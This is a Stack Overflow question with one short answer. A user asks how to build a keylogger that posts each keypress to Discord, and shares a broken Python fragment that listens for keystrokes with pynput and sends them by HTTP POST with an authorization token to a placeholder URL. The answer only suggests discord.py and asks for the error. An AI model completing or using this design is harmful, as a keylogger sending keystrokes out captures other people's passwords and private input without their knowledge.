'I want to make a bot how say me a discord message when i press a touch of my keyboard
I want to make a bot how say me a discord message when i press a touch of my keyboard, but I just now how send automaticatly a discord message and how write the touch who was pressed in a text document. My objectif is to asemblate the two for make a keylogger with discord, but i don't want to use in a bad intention, it's just for test my competence and know more.
My code :
from tkinter.messagebox import INFO
from pynput.keyboard import Listener
import logging
import requests
def on_press(key):
payload = {
'content': the key
}
header = {
'authorization': 'token'
}
r = requests.post("URL", data=payload, headers=header)
But it's doesn't work, so if you have the solution, please reply me.
Solution 1:[1]
You could use the discord.py library (if you like asynchronous programming)
The code is wrong. Can you tell me exactly what the error was, because the code isn't object oriented asà que I can't see something to patch
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | Rylixmods |
